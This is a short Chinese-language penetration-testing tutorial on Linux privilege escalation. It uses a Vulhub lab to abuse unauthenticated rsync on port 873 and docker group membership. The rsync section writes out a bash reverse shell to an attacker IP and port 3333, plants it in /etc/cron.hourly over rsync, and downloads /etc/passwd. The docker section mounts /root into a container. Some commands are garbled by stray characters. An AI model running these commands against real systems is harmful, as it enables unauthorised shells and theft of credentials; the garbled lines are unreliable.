免責聲明:本文僅做技術學習與交流...
目錄
Rsync(未授權訪問)
介紹:
靶場及過程:
?提權過程:?
Docker 組掛載
原理:
復現:
? 利用: ?
具體操作:
1-確定是否有docker服務
2-查看用戶是否在docker組里面
3-執行命令
Rsync(未授權訪問)
介紹:
rsync是Linux下一款數據備份工具,支持通過rsync協議、ssh協議進行遠程文件傳輸。其中rsync協議默認監聽873端口,如果目標開啟了rsync服務,并且沒有配置ACL或訪問密碼,我們將可以讀寫目標服務器文件。
靶場及過程:
Vulhub - Docker-Compose file for vulnerability environment
借助 Linux 默認計劃任務調用/etc/cron.hourly,利用 rsync 連接覆蓋.
?提權過程:?
?1、創建一個 nc 文件,內容 ?#!/bin/bash ?/bin/bash -i >& /dev/tcp/<IP>/3333 0>&i?
?2、賦予執行權限: ?chmod +x nc?
?3、上傳文件覆蓋定時任務目錄下 ?rsync -av nc rsync://<IP>:873/src/etc/cron.hourly?
?3.1、下載文件 ?rsync -av rsync://<IP>:873/src/etc/passwd ./ ?
4、進行 nc 監聽相應的端口?
?nc -lvnp 3333?
rsync rsync://IP:PORT/--src SRC PATH
rsync rsync://IP:PORT/src
--獲取到目錄結構--可以下載
#下載定時任務:
rsync rsync://IP:PORT/src/etc/crontab./
cat crontab
Docker 組掛載
原理:
普通用戶在 docker 組,利用 docker 服務啟動鏡像掛載目錄 .
從而來訪問 root 目錄、etc 目錄等敏感文件來進行權限提升。
復現:
創建用戶歸類目錄,添加到 docker 組.useradd -d /home/test -m test
?passwd test ?
?
usermod -G docker test
?newgrp docker
? 利用: ?
docker run -v /root:/mnt -it alpine?
主要的作用是:
從 Docker 上面下載 alpine 鏡像,然后運行;?
?-v 將容器外部的目錄/root 掛載到容器內部/mnt,
-it 參數進入容器 shell。
具體操作:
1-確定是否有docker服務
docker
--工具探針
2-查看用戶是否在docker組里面
groups 用戶名
3-執行命令
低用戶運行命令--->docker run -v /root:/mnt -it alpine
#可將root目錄換為其他目錄.
???????id
ls /mnt/
#mnt目錄像root的目錄了.
? ?